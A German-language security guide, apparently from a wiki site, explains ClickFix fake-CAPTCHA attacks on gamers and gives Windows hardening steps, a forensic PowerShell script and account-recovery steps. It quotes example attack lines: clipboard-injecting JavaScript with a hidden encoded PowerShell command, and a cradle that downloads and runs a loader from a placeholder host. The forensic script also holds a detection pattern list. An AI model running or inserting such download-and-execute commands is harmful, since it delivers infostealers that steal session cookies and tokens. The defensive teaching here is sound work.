WERBEPLATZ VERFÜGBAR · PARTNERSCHAFTEN WILLKOMMEN

ClickFix Social Engineering: Gefälschte CAPTCHAs, Zwischenablage-Manipulation und PowerShell-Angriffe im Gaming

365Finds Editorial
11.430 Wiki-Artikel erfasst

365 Wiki mit deiner KI nutzen

Kopiere den Prompt unten, füge ihn in deine gewohnte KI ein und stelle direkt deine Frage.

Vollständigen Skill herunterladen

Probiere es zuerst mit dem Prompt aus. Wenn du 365 Wiki häufig nutzt, installiere den vollständigen 365Wiki Skill, damit du ihn nicht jedes Mal einfügen musst. Ohne bevorzugte KI funktionieren auch die Webversionen von Gemini oder Microsoft Copilot.

Einführung: Die Ausbreitung von "ClickFix"-Angriffen im Gaming-Bereich

In der PC-Gaming-Landschaft stellen Modding-Repositories, Shader-Verteilungsseiten, Foren für inoffizielle Leistungs-Patches und Support-Plattformen für Spielabstürze traditionell attraktive Ziele für Cyberkriminelle dar. Über viele Jahre hinweg basierte die Verbreitung von Schadsoftware auf dem direkten Download manipulierter Binärdateien (.exe oder .zip), die als Trainer, Cheats oder Installationsprogramme getarnt waren. Heutige Webbrowser (Chrome, Edge, Firefox) und moderne Betriebssysteme verfügen jedoch über hochwirksame Schutzschichten: dateibasierte Reputationsanalysen (SmartScreen), isolierte Sandbox-Downloads und strikte Sicherheitsabfragen.

Um diese browserseitigen Barrieren vollständig zu umgehen, setzen Angreifer auf eine hochgradig manipulative Social-Engineering-Methode namens ClickFix (auch bekannt als "Fake-CAPTCHA"- oder "Clipboard-to-Run"-Angriff). Anstatt den Download einer verdächtigen Datei zu erzwingen, täuscht ClickFix eine Identitätsüberprüfung im Browser vor und verleitet den Nutzer dazu, eigenhändig das Windows-Ausführen-Fenster (Win + R) oder die PowerShell zu öffnen und einen bösartigen, verschleierten Befehl aus der Zwischenablage einzufügen und auszuführen.

Da der Befehl lokal mit den legitimen Rechten des Nutzers über systemeigene Administrationswerkzeuge gestartet wird, verzeichnet der Browser keinerlei Download-Aktivität, es landet keine Binärdatei im Download-Verzeichnis und herkömmliche signaturbasierte Virenscanner werden umgangen. Dieser Leitfaden analysiert die Angriffsarchitektur von ClickFix, die Mechanismen zur Deaktivierung des Windows-Schutzes (AMSI) im Arbeitsspeicher sowie systematische Diagnose- und Gegenmaßnahmen.

Die ClickFix-Angriffskette: Vom Download-Köder zur Speicher-Injektion

Der Angriffsablauf folgt einer präzise orchestrierten Abfolge, welche die Ungeduld von Spielern bei der Fehlersuche oder Mod-Installation gezielt ausnutzt:

[1. Nutzer besucht kompromittierte Ressourcen-Website (z. B. "Black Myth Wukong FPS Fix", "GTA 6 Leak Beta", "DLSS 3.5 Mod")]
                                |
                                v
[2. Einblendung eines gefälschten CAPTCHA-Overlays: "Bestätigen Sie, dass Sie kein Roboter sind" (Cloudflare-/reCAPTCHA-Klon)]
                                |
                                v
[3. Browser-DOM-Ereignis: JavaScript ruft navigator.clipboard.writeText(...) auf und lädt Schadcode in die Zwischenablage]
                                |
                                v
[4. Täuschende Handlungsanweisung: "Drücken Sie Win + R, fügen Sie mit Strg + V ein und drücken Sie Enter zur Verifizierung"]
                                |
                                v
[5. Ausführung im Windows-Ausführen-Dialog: explorer.exe startet powershell.exe / cmd.exe im Hintergrund]
                                |
                                v
[6. Verschleierte PowerShell-Ausführung: AMSI-Speicherpatching -> Nachladen von Infostealern (Lumma, Stealc, Vidar)]
                                |
                                v
[7. Daten-Exfiltration: Abgriff von Steam-Sitzungscookies, Discord-Tokens und Browserdaten an Angreifer-C2 / Telegram]

Phase 1: Zielgruppenspezifische Köder (SEO-Poisoning)

Angreifer registrieren Hunderte kurzlebige Webseiten, die für hochfrequentierte Suchbegriffe im Gaming-Bereich optimiert sind:

Phase 2: Das täuschend echte CAPTCHA-Overlay

Klickt der Nutzer auf den Download-Button, startet keine Dateiübertragung. Stattdessen verdunkelt sich der Bildschirm und es erscheint ein modales Fenster, das Cloudflare Turnstile, hCaptcha oder Google reCAPTCHA detailgetreu nachahmt:

Phase 3: Lautlose Manipulation der Zwischenablage

Während der Nutzer die Textanweisungen liest, wird im Hintergrund bereits ein JavaScript-Befehl ausgeführt:

// Klick auf das falsche Prüffeld autorisiert die Beschriftung der Zwischenablage
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);

In Chromium-basierten Browsern wird navigator.clipboard.writeText() ohne separate Berechtigungsabfrage des Betriebssystems ausgeführt, sofern der Aufruf innerhalb eines direkten Interaktions-Events (wie dem Klick auf den gefälschten Prüfbutton) erfolgt. Der Nutzer ahnt nicht, dass sich in seiner Zwischenablage nun ein gefährlicher Systembefehl befindet.


Technische Analyse: Der Schadcode in der PowerShell

Wird der Befehl über Win + R ausgeführt, durchläuft der von explorer.exe erzeugte PowerShell-Prozess typischerweise vier aufeinanderfolgende Phasen:

1. Fensterunterdrückung und Umgehung der Ausführungsrichtlinie

Der Aufrufbefehl ist darauf ausgelegt, die Ausführung vor dem Benutzer zu verbergen:

  # Typischer ClickFix-Startbefehl
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

2. In-Memory-Patching des Antimalware Scan Interface (AMSI)

Bevor weitere Schadsoftware nachgeladen werden kann, muss das systemeigene AMSI deaktiviert werden. AMSI scannt PowerShell-Skripte vor der Ausführung direkt im RAM auf bekannte Angriffsmuster.

Die Schadroutine nimmt eine gezielte Manipulation an der amsi.dll vor:

3. Dateilose Ausführung im Arbeitsspeicher (Fileless Execution)

Sobald AMSI neutralisiert ist, lädt die PowerShell den eigentlichen Schadcode über Netzwerkroutinen nach:

  # Nachladen und speicherbasierte Ausführung via Reflection
  $data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
  [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);

Durch den Einsatz von .NET-Reflection ([System.Reflection.Assembly]::Load) oder Techniken wie Process Hollowing in legitime Systemprozesse (MSBuild.exe, svchost.exe) verbleibt der Schadcode rein flüchtig im RAM, ohne Spuren in Form von Binärdateien auf der Festplatte zu hinterlassen.

4. Systematischer Abgriff von Gaming- und Browser-Daten

Der nachgeladene Infostealer (vorrangig Lumma, Stealc oder Vidar) zielt exakt auf die wertvollsten Identitätsnachweise von Spielern ab:


ClickFix-Bedrohungsmatrix: Köder und forensische Spuren

KödertypTäuschungsargumentAusführungswegTechnisches KernartefaktForensische Spur im System
Gefälschtes Turnstile-CAPTCHA"Schließen Sie die Prüfung ab, um den Mod-Download zu starten"Win + R -> powershell.exe -w hidden -encAmsiScanBuffer-Patch + IEX-Web-CradleEvent-ID 4104 (ScriptBlock Logging); Base64-Zeichenfolge in ConsoleHost_history.txt
DirectX- / VC++-Reparatur"d3dx9_43.dll fehlt; Skript in die Konsole einfügen zur Behebung"Administrator-PowerShell-Terminalmshta.exe http://.../fix.hta oder PowerShellSysmon-Eintrag zu mshta.exe; Netzwerkverbindungen zu unbekannten IP-Adressen
Discord-Beta-Zugang"Geben Sie Ihren individuellen Test-Token im Terminal ein"cmd.exe /c start /b powershell ...Skript mit Exfiltration via Discord-WebhookAusgehende HTTPS-POST-Aufrufe mit Dateianhang an discord.com/api/webhooks/...
Shader-Cache-Entpacker"Befehl einfügen, um vorkompilierte Vulkan-Caches zu entpacken"Standard-PowerShell-FensterNachladen und Injektion einer bösartigen DLL in %TEMP%Ungewöhnliche Autostart-Einträge unter HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Abwehrmaßnahmen: Härtung von Windows gegen ClickFix

Durch gezielte Systemrichtlinien lässt sich das Risiko einer erfolgreichen ClickFix-Ausführung minimieren:

1. Ausführliche Skriptblock-Protokollierung aktivieren (Event-ID 4104)

Standardmäßig speichert Windows interaktive Skriptaufrufe nicht lückenlos. Eine detaillierte Protokollierung ermöglicht es, auch verschleierte und dynamisch entpackte Befehle im Windows-Ereignisprotokoll nachzuvollziehen:

2. Eingeschränkten Sprachmodus (Constrained Language Mode) konfigurieren

Der Constrained Language Mode (CLM) untersagt der PowerShell den Zugriff auf erweiterte .NET-Reflection-Schnittstellen ([System.Reflection.Assembly]) sowie native Windows-APIs, wodurch speicherbasierte Malware-Lader zuverlässig blockiert werden:

3. Veraltete Skript-Interpreter mittels WDAC einschränken

Um zu verhindern, dass Angreifer auf Hilfsprogramme wie mshta.exe oder wscript.exe ausweichen, sollten diese Ausführungsdateien über Windows Defender Application Control (WDAC) gesperrt oder überwacht werden.


PowerShell-Forensikskript: Erkennung von Infektionsspuren

Besteht der Verdacht, dass ein manipulierter Befehl ausgeführt wurde, sollte das System unverzüglich vom Netzwerk getrennt und folgendes Diagnoseskript ausgeführt werden:

  # Forensisches Diagnose-Skript für ClickFix-Kompromittierungen
  Write-Host "=== Forensische ClickFix-Überprüfung ===" -ForegroundColor Cyan
  
  # 1. Analyse des PowerShell-Konsolenverlaufs
  $historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  if (Test-Path $historyPath) {
      Write-Host "`n[1] Untersuche PowerShell-Verlauf auf verdächtige Befehle..." -ForegroundColor Yellow
      $suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
      $historyLines = Get-Content -Path $historyPath -Tail 50
      foreach ($line in $historyLines) {
          foreach ($pattern in $suspiciousPatterns) {
              if ($line -match $pattern) {
                  Write-Host "  [WARNUNG: Verdächtiger Befehl erkannt]: $line" -ForegroundColor Red
                  break
              }
          }
      }
  }
  
  # 2. Auslesen des Windows-Ausführen-Verlaufs (RunMRU)
  Write-Host "`n[2] Überprüfe Registrierungseinträge des Ausführen-Dialogs..." -ForegroundColor Yellow
  $runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
  if (Test-Path $runMruPath) {
      $mruEntries = Get-ItemProperty -Path $runMruPath
      $mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
          if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
              Write-Host "  [GEFAHR: Verdächtiger RunMRU-Eintrag]: $($_.Name) = $($_.Value)" -ForegroundColor Red
          } else {
              Write-Host "  [Regulärer Eintrag]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
          }
      }
  }
  
  # 3. Überprüfung von Autostart-Einträgen in der Registrierung
  Write-Host "`n[3] Untersuche Autostart-Schlüssel des Nutzers..." -ForegroundColor Yellow
  $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan

Sofortmaßnahmen und Wiederherstellungsprotokoll

Wurde die Ausführung eines bösartigen Befehls bestätigt, sind folgende Schritte zwingend einzuleiten:

  1. Physische Netzwerktrennung: Ziehen Sie das Netzwerkkabel ab oder deaktivieren Sie WLAN, um das Hochladen entwendeter Sitzungsdaten an die Angreifer-Server zu stoppen.
  2. Sitzungsentzug über ein sicheres Drittgerät:
    • Melden Sie sich über ein Smartphone oder einen Zweit-PC bei Steam an: Gehen Sie auf Einstellungen -> Sicherheit -> Alle anderen Geräte abmelden. Dadurch verlieren gestohlene steamLoginSecure-Cookies umgehend ihre Gültigkeit.
    • Ändern Sie das Passwort Ihres Discord-Accounts, wodurch alle aktiven Nutzer-Tokens unmittelbar entwertet werden.
    • Melden Sie sich bei Google-, Microsoft- und Epic Games-Konten von sämtlichen Sitzungen ab und vergeben Sie neue Kennwörter.
  3. Steam Web-API-Schlüssel bereinigen: Überprüfen Sie unter https://steamcommunity.com/dev/apikey auf einem sicheren Gerät, ob unberechtigt ein API-Schlüssel registriert wurde, und widerrufen Sie diesen sofort.
  4. Offline-Virenprüfung durchführen: Führen Sie eine vollständige Überprüfung mittels Microsoft Defender Offline oder einem startfähigen Rettungs-USB-Stick durch, um etwaige persistente Hintertüren zu entfernen.
  5. Sicherheitsbewusstsein durch technisches Verständnis stärken: Seriöse Verifizierungsdienste wie Cloudflare oder Google operieren ausschließlich innerhalb der Browser-Umgebung. Kein legitimer Dienst fordert jemals dazu auf, Win + R zu drücken oder Befehle in die Konsole einzufügen. Das Verständnis von Betriebssystemarchitekturen und Sicherheitsgrenzen über fundierte Fachressourcen wie 365Finds schützt wirksam vor manipulativen Social-Engineering-Taktiken und sichert Gaming-Bibliotheken dauerhaft ab.

Referenzen